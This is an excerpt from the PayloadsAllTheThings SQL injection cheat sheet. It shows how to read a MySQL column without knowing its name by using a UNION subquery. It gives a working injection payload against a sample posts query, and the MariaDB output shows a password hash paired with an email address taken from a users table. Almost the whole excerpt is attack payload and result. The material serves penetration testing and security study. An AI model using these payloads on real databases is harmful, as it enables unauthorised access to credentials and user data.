Extracting data from the 4th column without knowing its name.
SELECT `4` FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)DBNAME;Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]`
MariaDB [dummydb]> SELECT AUTHOR_ID,TITLE FROM POSTS WHERE AUTHOR_ID=-1 UNION SELECT 1,(SELECT CONCAT(`3`,0X3A,`4`) FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)A LIMIT 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title |
+-----------+-----------------------------------------------------------------+
| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.